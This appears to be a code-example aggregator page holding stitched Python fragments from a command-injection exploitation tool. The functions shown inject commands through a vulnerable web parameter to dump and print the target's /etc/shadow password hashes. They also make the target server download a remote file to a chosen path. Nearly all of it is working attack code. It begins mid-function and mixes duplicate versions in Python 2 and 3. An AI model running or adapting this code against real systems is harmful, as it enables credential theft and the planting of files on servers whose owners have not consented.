                    output_file.write(" and it is not privileged.\n")
                    output_file.close()
                else:
                    sys.stdout.write(Style.BRIGHT + " and it is " +
                                     Style.RESET_ALL + Style.BRIGHT +
                                     "privileged" + Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is privileged.\n")
                    output_file.close()
        else:
            info_msg = "The current user is " + str(cu_account)
            sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            info_msg = "The current user is " + cu_account + "\n"
            output_file.write(
                re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                    "", settings.INFO_BOLD_SIGN) + info_msg)
            output_file.close()
    else:
        warn_msg = "Heuristics have failed to identify the current user."
        print(settings.print_warning_msg(warn_msg))
Ejemplo n.º 58
0
def system_passwords(separator, TAG, prefix, suffix, whitespace,
                     http_request_method, url, vuln_parameter, alter_shell,
                     filename):
    if settings.TARGET_OS == "win":
        # Not yet implemented!
        pass
    else:
        cmd = settings.SYS_PASSES
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        sys_passes = cb_injector.injection_results(response, TAG)
        if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
            # Evaluate injection results.
            sys_passes = cb_injector.injection_results(response, TAG)
            sys_passes = "".join(str(p) for p in sys_passes)
            session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
        else:
            sys_passes = session_handler.export_stored_cmd(
                url, cmd, vuln_parameter)
        if sys_passes == "":
            sys_passes = " "
        if sys_passes:
            if menu.options.verbose:
                print ""
            sys.stdout.write(settings.INFO_SIGN + "Fetching '" +
                             settings.SHADOW_FILE +
                             "' to enumerate users password hashes... ")
            sys.stdout.flush()
            sys_passes = sys_passes.replace(" ", "\n")
            sys_passes = sys_passes.split()
            if len(sys_passes) != 0:
                sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                 Style.RESET_ALL + " ]")
                sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
                                 str(len(sys_passes)) + " entr" +
                                 ('ies', 'y')[len(sys_passes) == 1] + " in '" +
                                 settings.SHADOW_FILE + "'.\n" +
                                 Style.RESET_ALL)
                sys.stdout.flush()
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write("\n    (!) Identified " +
                                  str(len(sys_passes)) + " entr" +
                                  ('ies', 'y')[len(sys_passes) == 1] +
                                  " in '" + settings.SHADOW_FILE + "'.\n")
                output_file.close()
                count = 0
                for line in sys_passes:
                    count = count + 1
                    try:
                        fields = line.split(":")
                        if fields[1] != "*" and fields[1] != "!" and fields[
                                1] != "":
                            print "  (" + str(
                                count
                            ) + ") " + Style.BRIGHT + fields[
                                0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[
                                    1] + Style.RESET_ALL
                            # Add infos to logs file.
                            output_file = open(filename, "a")
                            output_file.write("      (" + str(count) + ") " +
                                              fields[0] + " : " + fields[1])
                            output_file.close()
                    # Check for appropriate '/etc/shadow' format.
                    except IndexError:
                        if count == 1:
                            sys.stdout.write(
                                Fore.YELLOW + settings.WARNING_SIGN +
                                "It seems that '" + settings.SHADOW_FILE +
                                "' file is not in the appropriate format. Thus, it is expoted as a text file."
                                + Style.RESET_ALL + "\n")
                        print fields[0]
                        output_file = open(filename, "a")
                        output_file.write("      " + fields[0])
                        output_file.close()
            else:
                sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                                 " ]")
                sys.stdout.flush()
                print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL
Ejemplo n.º 59
0
def system_passwords(separator, TAG, prefix, suffix, whitespace,
                     http_request_method, url, vuln_parameter, alter_shell,
                     filename, timesec):
    if settings.TARGET_OS == "win":
        # Not yet implemented!
        pass
    else:
        cmd = settings.SYS_PASSES
        if session_handler.export_stored_cmd(
                url, cmd,
                vuln_parameter) == None or menu.options.ignore_session:
            # Command execution results.
            response = cb_injector.injection(separator, TAG, cmd, prefix,
                                             suffix, whitespace,
                                             http_request_method, url,
                                             vuln_parameter, alter_shell,
                                             filename)
            # Perform target page reload (if it is required).
            if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
            # Evaluate injection results.
            sys_passes = cb_injector.injection_results(response, TAG, cmd)
            sys_passes = "".join(str(p) for p in sys_passes)
            session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
        else:
            sys_passes = session_handler.export_stored_cmd(
                url, cmd, vuln_parameter)
        if sys_passes == "":
            sys_passes = " "
        if sys_passes:
            info_msg = "Fetching '" + settings.SHADOW_FILE
            info_msg += "' to enumerate users password hashes. "
            sys.stdout.write(settings.print_info_msg(info_msg))
            sys.stdout.flush()
            sys_passes = sys_passes.replace(" ", "\n")
            sys_passes = sys_passes.split()
            if len(sys_passes) != 0:
                sys.stdout.write(settings.SUCCESS_STATUS)
                info_msg = "Identified " + str(len(sys_passes))
                info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
                info_msg += " in '" + settings.SHADOW_FILE + "'.\n"
                sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
                sys.stdout.flush()
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write(
                    re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                        "", settings.INFO_BOLD_SIGN) + info_msg)
                output_file.close()
                count = 0
                for line in sys_passes:
                    count = count + 1
                    try:
                        if ":" in line:
                            fields = line.split(":")
                            if not "*" in fields[1] and not "!" in fields[
                                    1] and fields[1] != "":
                                print("  (" + str(count) + ") " +
                                      Style.BRIGHT + fields[0] +
                                      Style.RESET_ALL + " : " + Style.BRIGHT +
                                      fields[1] + Style.RESET_ALL)
                                # Add infos to logs file.
                                output_file = open(filename, "a")
                                output_file.write("    (" + str(count) + ") " +
                                                  fields[0] + " : " +
                                                  fields[1] + "\n")
                                output_file.close()
                    # Check for appropriate '/etc/shadow' format.
                    except IndexError:
                        if count == 1:
                            warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
                            warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
                            sys.stdout.write(
                                settings.print_warning_msg(warn_msg) + "\n")
                        print(fields[0])
                        output_file = open(filename, "a")
                        output_file.write("      " + fields[0])
                        output_file.close()
            else:
                sys.stdout.write(settings.FAIL_STATUS)
                sys.stdout.flush()
                warn_msg = "It seems that you don't have permissions to read '"
                warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
                print("\n" + settings.print_warning_msg(warn_msg))
Ejemplo n.º 60
0
def file_upload(separator, TAG, prefix, suffix, whitespace,
                http_request_method, url, vuln_parameter, alter_shell,
                filename, timesec):
    if settings.TARGET_OS == "win":
        # Not yet implemented
        pass
    else:
        file_to_upload = menu.options.file_upload
        # check if remote file exists.
        try:
            _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
        except _urllib.error.HTTPError as err_msg:
            warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" + str(
                err_msg) + ")"
            sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
            sys.stdout.flush()
            raise SystemExit()
        except ValueError as err_msg:
            err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
            sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
            sys.stdout.flush()
            raise SystemExit()

        # Check the file-destination
        if os.path.split(menu.options.file_dest)[1] == "":
            dest_to_upload = os.path.split(
                menu.options.file_dest)[0] + "/" + os.path.split(
                    menu.options.file_upload)[1]
        elif os.path.split(menu.options.file_dest)[0] == "/":
            dest_to_upload = "/" + os.path.split(
                menu.options.file_dest)[1] + "/" + os.path.split(
                    menu.options.file_upload)[1]
        else:
            dest_to_upload = menu.options.file_dest

        # Execute command
        cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        shell = cb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell)

        # Check if file exists!
        if settings.TARGET_OS == "win":
            cmd = "dir " + dest_to_upload + ")"
        else:
            cmd = "echo $(ls " + dest_to_upload + ")"
            if settings.USE_BACKTICKS:
                cmd = cmd.replace("echo $(", "").replace(")", "")
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        shell = cb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell)
        if settings.VERBOSITY_LEVEL != 0:
            print(settings.SINGLE_WHITESPACE)
        if shell:
            info_msg = "The " + shell
            info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!"
            sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n")
            sys.stdout.flush()
        else:
            warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
            sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
            sys.stdout.flush()